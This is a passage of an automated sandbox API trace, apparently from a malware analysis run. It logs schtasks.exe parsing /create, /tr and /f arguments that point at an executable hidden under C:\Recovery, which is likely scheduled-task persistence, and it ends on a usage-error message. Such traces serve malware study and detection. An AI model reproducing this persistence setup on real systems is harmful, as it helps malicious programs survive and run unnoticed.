_Size=0x7) returned 0 [0144.116] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|change|") returned 8 [0144.116] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tr|") returned 4 [0144.117] lstrlenW (lpString="|change|") returned 8 [0144.117] lstrlenW (lpString="|tr|") returned 4 [0144.117] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0144.117] SetLastError (dwErrCode=0x490) [0144.117] lstrlenW (lpString="run") returned 3 [0144.117] lstrlenW (lpString="run") returned 3 [0144.117] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.117] lstrlenW (lpString="tr") returned 2 [0144.117] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.117] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|run|") returned 5 [0144.117] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tr|") returned 4 [0144.117] lstrlenW (lpString="|run|") returned 5 [0144.117] lstrlenW (lpString="|tr|") returned 4 [0144.117] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0144.117] SetLastError (dwErrCode=0x490) [0144.117] lstrlenW (lpString="end") returned 3 [0144.117] lstrlenW (lpString="end") returned 3 [0144.117] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.117] lstrlenW (lpString="tr") returned 2 [0144.117] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.117] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|end|") returned 5 [0144.117] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tr|") returned 4 [0144.117] lstrlenW (lpString="|end|") returned 5 [0144.117] lstrlenW (lpString="|tr|") returned 4 [0144.117] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0144.117] SetLastError (dwErrCode=0x490) [0144.118] lstrlenW (lpString="showsid") returned 7 [0144.118] lstrlenW (lpString="showsid") returned 7 [0144.118] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.118] lstrlenW (lpString="tr") returned 2 [0144.118] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.118] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|showsid|") returned 9 [0144.118] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tr|") returned 4 [0144.118] lstrlenW (lpString="|showsid|") returned 9 [0144.118] lstrlenW (lpString="|tr|") returned 4 [0144.118] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0144.118] SetLastError (dwErrCode=0x490) [0144.118] SetLastError (dwErrCode=0x490) [0144.118] SetLastError (dwErrCode=0x0) [0144.118] lstrlenW (lpString="/tr") returned 3 [0144.118] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0144.118] SetLastError (dwErrCode=0x490) [0144.118] SetLastError (dwErrCode=0x0) [0144.118] lstrlenW (lpString="/tr") returned 3 [0144.118] GetProcessHeap () returned 0x2b0000 [0144.118] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cc320 [0144.118] GetProcessHeap () returned 0x2b0000 [0144.118] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd70 [0144.118] SetLastError (dwErrCode=0x0) [0144.118] SetLastError (dwErrCode=0x0) [0144.118] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.118] lstrlenW (lpString="-/") returned 2 [0144.118] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0144.119] SetLastError (dwErrCode=0x490) [0144.119] SetLastError (dwErrCode=0x490) [0144.119] SetLastError (dwErrCode=0x0) [0144.119] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.119] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'" [0144.119] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.119] GetProcessHeap () returned 0x2b0000 [0144.119] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cc340 [0144.119] _memicmp (_Buf1=0x2cc340, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.119] GetProcessHeap () returned 0x2b0000 [0144.119] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cc360 [0144.119] GetProcessHeap () returned 0x2b0000 [0144.119] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cc380 [0144.119] _memicmp (_Buf1=0x2cc380, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.119] GetProcessHeap () returned 0x2b0000 [0144.119] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8e) returned 0x2cc3a0 [0144.119] SetLastError (dwErrCode=0x7a) [0144.119] SetLastError (dwErrCode=0x0) [0144.119] SetLastError (dwErrCode=0x0) [0144.119] lstrlenW (lpString="'C") returned 2 [0144.119] lstrlenW (lpString="-/") returned 2 [0144.119] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0144.119] SetLastError (dwErrCode=0x490) [0144.119] SetLastError (dwErrCode=0x490) [0144.119] SetLastError (dwErrCode=0x0) [0144.119] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.119] GetProcessHeap () returned 0x2b0000 [0144.119] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8c) returned 0x2cc440 [0144.120] GetProcessHeap () returned 0x2b0000 [0144.120] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccda0 [0144.120] SetLastError (dwErrCode=0x0) [0144.120] SetLastError (dwErrCode=0x0) [0144.120] lstrlenW (lpString="/f") returned 2 [0144.120] lstrlenW (lpString="-/") returned 2 [0144.120] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.120] lstrlenW (lpString="?") returned 1 [0144.120] lstrlenW (lpString="?") returned 1 [0144.120] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.120] lstrlenW (lpString="f") returned 1 [0144.120] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.120] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|?|") returned 3 [0144.120] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|f|") returned 3 [0144.120] lstrlenW (lpString="|?|") returned 3 [0144.120] lstrlenW (lpString="|f|") returned 3 [0144.120] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0144.120] SetLastError (dwErrCode=0x490) [0144.120] lstrlenW (lpString="create") returned 6 [0144.120] lstrlenW (lpString="create") returned 6 [0144.120] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.120] lstrlenW (lpString="f") returned 1 [0144.120] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.120] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|create|") returned 8 [0144.120] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|f|") returned 3 [0144.121] lstrlenW (lpString="|create|") returned 8 [0144.121] lstrlenW (lpString="|f|") returned 3 [0144.121] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0144.121] SetLastError (dwErrCode=0x490) [0144.121] lstrlenW (lpString="delete") returned 6 [0144.121] lstrlenW (lpString="delete") returned 6 [0144.121] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.121] lstrlenW (lpString="f") returned 1 [0144.121] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.121] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|delete|") returned 8 [0144.121] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|f|") returned 3 [0144.121] lstrlenW (lpString="|delete|") returned 8 [0144.121] lstrlenW (lpString="|f|") returned 3 [0144.121] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0144.121] SetLastError (dwErrCode=0x490) [0144.121] lstrlenW (lpString="query") returned 5 [0144.121] lstrlenW (lpString="query") returned 5 [0144.121] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.121] lstrlenW (lpString="f") returned 1 [0144.121] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.121] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|query|") returned 7 [0144.121] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|f|") returned 3 [0144.121] lstrlenW (lpString="|query|") returned 7 [0144.121] lstrlenW (lpString="|f|") returned 3 [0144.121] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0144.122] SetLastError (dwErrCode=0x490) [0144.122] lstrlenW (lpString="change") returned 6 [0144.122] lstrlenW (lpString="change") returned 6 [0144.122] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.122] lstrlenW (lpString="f") returned 1 [0144.122] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.122] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|change|") returned 8 [0144.122] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|f|") returned 3 [0144.122] lstrlenW (lpString="|change|") returned 8 [0144.122] lstrlenW (lpString="|f|") returned 3 [0144.122] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0144.122] SetLastError (dwErrCode=0x490) [0144.122] lstrlenW (lpString="run") returned 3 [0144.122] lstrlenW (lpString="run") returned 3 [0144.122] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.122] lstrlenW (lpString="f") returned 1 [0144.122] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.122] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|run|") returned 5 [0144.122] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|f|") returned 3 [0144.122] lstrlenW (lpString="|run|") returned 5 [0144.122] lstrlenW (lpString="|f|") returned 3 [0144.122] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0144.122] SetLastError (dwErrCode=0x490) [0144.122] lstrlenW (lpString="end") returned 3 [0144.122] lstrlenW (lpString="end") returned 3 [0144.122] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.123] lstrlenW (lpString="f") returned 1 [0144.123] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.123] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|end|") returned 5 [0144.123] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|f|") returned 3 [0144.123] lstrlenW (lpString="|end|") returned 5 [0144.123] lstrlenW (lpString="|f|") returned 3 [0144.123] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0144.123] SetLastError (dwErrCode=0x490) [0144.123] lstrlenW (lpString="showsid") returned 7 [0144.123] lstrlenW (lpString="showsid") returned 7 [0144.123] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.123] lstrlenW (lpString="f") returned 1 [0144.123] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.123] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|showsid|") returned 9 [0144.123] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|f|") returned 3 [0144.123] lstrlenW (lpString="|showsid|") returned 9 [0144.123] lstrlenW (lpString="|f|") returned 3 [0144.123] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0144.123] SetLastError (dwErrCode=0x490) [0144.123] SetLastError (dwErrCode=0x490) [0144.123] SetLastError (dwErrCode=0x0) [0144.123] lstrlenW (lpString="/f") returned 2 [0144.123] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0144.123] SetLastError (dwErrCode=0x490) [0144.123] SetLastError (dwErrCode=0x0) [0144.123] lstrlenW (lpString="/f") returned 2 [0144.123] GetProcessHeap () returned 0x2b0000 [0144.123] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x6) returned 0x2cc4e0 [0144.124] GetProcessHeap () returned 0x2b0000 [0144.124] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccdd0 [0144.124] SetLastError (dwErrCode=0x0) [0144.124] GetProcessHeap () returned 0x2b0000 [0144.124] GetProcessHeap () returned 0x2b0000 [0144.124] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc210) returned 1 [0144.124] GetProcessHeap () returned 0x2b0000 [0144.124] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc210) returned 0x8 [0144.124] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc210 | out: hHeap=0x2b0000) returned 1 [0144.124] GetProcessHeap () returned 0x2b0000 [0144.124] GetProcessHeap () returned 0x2b0000 [0144.124] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc20) returned 1 [0144.124] GetProcessHeap () returned 0x2b0000 [0144.124] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc20) returned 0x20 [0144.125] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc20 | out: hHeap=0x2b0000) returned 1 [0144.125] GetProcessHeap () returned 0x2b0000 [0144.125] GetProcessHeap () returned 0x2b0000 [0144.125] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc50) returned 1 [0144.125] GetProcessHeap () returned 0x2b0000 [0144.125] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc50) returned 0x20 [0144.125] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc50 | out: hHeap=0x2b0000) returned 1 [0144.125] GetProcessHeap () returned 0x2b0000 [0144.125] GetProcessHeap () returned 0x2b0000 [0144.125] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc80) returned 1 [0144.125] GetProcessHeap () returned 0x2b0000 [0144.125] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc80) returned 0x20 [0144.126] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc80 | out: hHeap=0x2b0000) returned 1 [0144.126] GetProcessHeap () returned 0x2b0000 [0144.126] GetProcessHeap () returned 0x2b0000 [0144.126] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc2a0) returned 1 [0144.126] GetProcessHeap () returned 0x2b0000 [0144.126] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc2a0) returned 0x8 [0144.126] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc2a0 | out: hHeap=0x2b0000) returned 1 [0144.126] GetProcessHeap () returned 0x2b0000 [0144.126] GetProcessHeap () returned 0x2b0000 [0144.126] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccb0) returned 1 [0144.126] GetProcessHeap () returned 0x2b0000 [0144.126] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cccb0) returned 0x20 [0144.127] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccb0 | out: hHeap=0x2b0000) returned 1 [0144.127] GetProcessHeap () returned 0x2b0000 [0144.127] GetProcessHeap () returned 0x2b0000 [0144.127] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc2c0) returned 1 [0144.127] GetProcessHeap () returned 0x2b0000 [0144.127] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc2c0) returned 0xe [0144.127] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc2c0 | out: hHeap=0x2b0000) returned 1 [0144.127] GetProcessHeap () returned 0x2b0000 [0144.127] GetProcessHeap () returned 0x2b0000 [0144.127] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccce0) returned 1 [0144.127] GetProcessHeap () returned 0x2b0000 [0144.127] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccce0) returned 0x20 [0144.127] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccce0 | out: hHeap=0x2b0000) returned 1 [0144.127] GetProcessHeap () returned 0x2b0000 [0144.127] GetProcessHeap () returned 0x2b0000 [0144.127] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc2e0) returned 1 [0144.127] GetProcessHeap () returned 0x2b0000 [0144.128] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc2e0) returned 0x8 [0144.128] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc2e0 | out: hHeap=0x2b0000) returned 1 [0144.128] GetProcessHeap () returned 0x2b0000 [0144.128] GetProcessHeap () returned 0x2b0000 [0144.128] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd10) returned 1 [0144.128] GetProcessHeap () returned 0x2b0000 [0144.128] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd10) returned 0x20 [0144.128] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd10 | out: hHeap=0x2b0000) returned 1 [0144.128] GetProcessHeap () returned 0x2b0000 [0144.128] GetProcessHeap () returned 0x2b0000 [0144.128] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc300) returned 1 [0144.128] GetProcessHeap () returned 0x2b0000 [0144.128] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc300) returned 0x4 [0144.128] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc300 | out: hHeap=0x2b0000) returned 1 [0144.128] GetProcessHeap () returned 0x2b0000 [0144.128] GetProcessHeap () returned 0x2b0000 [0144.128] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd40) returned 1 [0144.128] GetProcessHeap () returned 0x2b0000 [0144.128] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd40) returned 0x20 [0144.129] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd40 | out: hHeap=0x2b0000) returned 1 [0144.129] GetProcessHeap () returned 0x2b0000 [0144.129] GetProcessHeap () returned 0x2b0000 [0144.129] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc320) returned 1 [0144.129] GetProcessHeap () returned 0x2b0000 [0144.129] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc320) returned 0x8 [0144.129] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc320 | out: hHeap=0x2b0000) returned 1 [0144.129] GetProcessHeap () returned 0x2b0000 [0144.129] GetProcessHeap () returned 0x2b0000 [0144.129] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd70) returned 1 [0144.129] GetProcessHeap () returned 0x2b0000 [0144.129] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd70) returned 0x20 [0144.130] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd70 | out: hHeap=0x2b0000) returned 1 [0144.130] GetProcessHeap () returned 0x2b0000 [0144.130] GetProcessHeap () returned 0x2b0000 [0144.130] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc440) returned 1 [0144.130] GetProcessHeap () returned 0x2b0000 [0144.130] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc440) returned 0x8c [0144.130] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc440 | out: hHeap=0x2b0000) returned 1 [0144.130] GetProcessHeap () returned 0x2b0000 [0144.130] GetProcessHeap () returned 0x2b0000 [0144.130] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccda0) returned 1 [0144.130] GetProcessHeap () returned 0x2b0000 [0144.130] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccda0) returned 0x20 [0144.131] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccda0 | out: hHeap=0x2b0000) returned 1 [0144.131] GetProcessHeap () returned 0x2b0000 [0144.131] GetProcessHeap () returned 0x2b0000 [0144.131] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc4e0) returned 1 [0144.131] GetProcessHeap () returned 0x2b0000 [0144.131] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc4e0) returned 0x6 [0144.131] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc4e0 | out: hHeap=0x2b0000) returned 1 [0144.131] GetProcessHeap () returned 0x2b0000 [0144.131] GetProcessHeap () returned 0x2b0000 [0144.131] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccdd0) returned 1 [0144.131] GetProcessHeap () returned 0x2b0000 [0144.131] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccdd0) returned 0x20 [0144.131] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccdd0 | out: hHeap=0x2b0000) returned 1 [0144.131] GetProcessHeap () returned 0x2b0000 [0144.131] GetProcessHeap () returned 0x2b0000 [0144.131] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5480) returned 1 [0144.131] GetProcessHeap () returned 0x2b0000 [0144.131] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5480) returned 0x18 [0144.132] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5480 | out: hHeap=0x2b0000) returned 1 [0144.132] SetLastError (dwErrCode=0x0) [0144.132] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0144.132] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0144.132] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0144.132] VerifyVersionInfoW (in: lpVersionInformation=0x21c6f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21c6f0) returned 1 [0144.132] SetLastError (dwErrCode=0x0) [0144.132] lstrlenW (lpString="create") returned 6 [0144.132] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0144.132] SetLastError (dwErrCode=0x490) [0144.132] SetLastError (dwErrCode=0x0) [0144.132] lstrlenW (lpString="create") returned 6 [0144.132] GetProcessHeap () returned 0x2b0000 [0144.132] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccdd0 [0144.132] GetProcessHeap () returned 0x2b0000 [0144.132] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cd510 [0144.133] _memicmp (_Buf1=0x2cd510, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.133] GetProcessHeap () returned 0x2b0000 [0144.133] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x16) returned 0x2cd530 [0144.133] SetLastError (dwErrCode=0x0) [0144.133] _memicmp (_Buf1=0x2cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.133] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2cbc40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0144.133] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0144.133] GetProcessHeap () returned 0x2b0000 [0144.133] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x74e) returned 0x2cdce0 [0144.134] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2cdce0 | out: lpData=0x2cdce0) returned 1 [0144.134] VerQueryValueW (in: pBlock=0x2cdce0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21c7d8, puLen=0x21c840 | out: lplpBuffer=0x21c7d8*=0x2ce07c, puLen=0x21c840) returned 1 [0144.134] _memicmp (_Buf1=0x2cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.134] _vsnwprintf (in: _Buffer=0x2cbc40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21c7b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0144.134] VerQueryValueW (in: pBlock=0x2cdce0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21c848, puLen=0x21c838 | out: lplpBuffer=0x21c848*=0x2cdea8, puLen=0x21c838) returned 1 [0144.134] lstrlenW (lpString="schtasks.exe") returned 12 [0144.134] lstrlenW (lpString="schtasks.exe") returned 12 [0144.134] lstrlenW (lpString=".EXE") returned 4 [0144.134] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0144.134] lstrlenW (lpString="schtasks.exe") returned 12 [0144.134] lstrlenW (lpString=".EXE") returned 4 [0144.134] lstrlenW (lpString="schtasks") returned 8 [0144.134] lstrlenW (lpString="/create") returned 7 [0144.134] _memicmp (_Buf1=0x2cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.134] _vsnwprintf (in: _Buffer=0x2cbc40, _BufferCount=0x19, _Format="%s %s", _ArgList=0x21c7b8 | out: _Buffer="schtasks /create") returned 16 [0144.134] _memicmp (_Buf1=0x2cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.134] GetProcessHeap () returned 0x2b0000 [0144.134] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccda0 [0144.134] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.134] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0144.135] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0144.135] GetProcessHeap () returned 0x2b0000 [0144.135] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x30) returned 0x2c7ae0 [0144.135] _vsnwprintf (in: _Buffer=0x2cc040, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21c7b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for 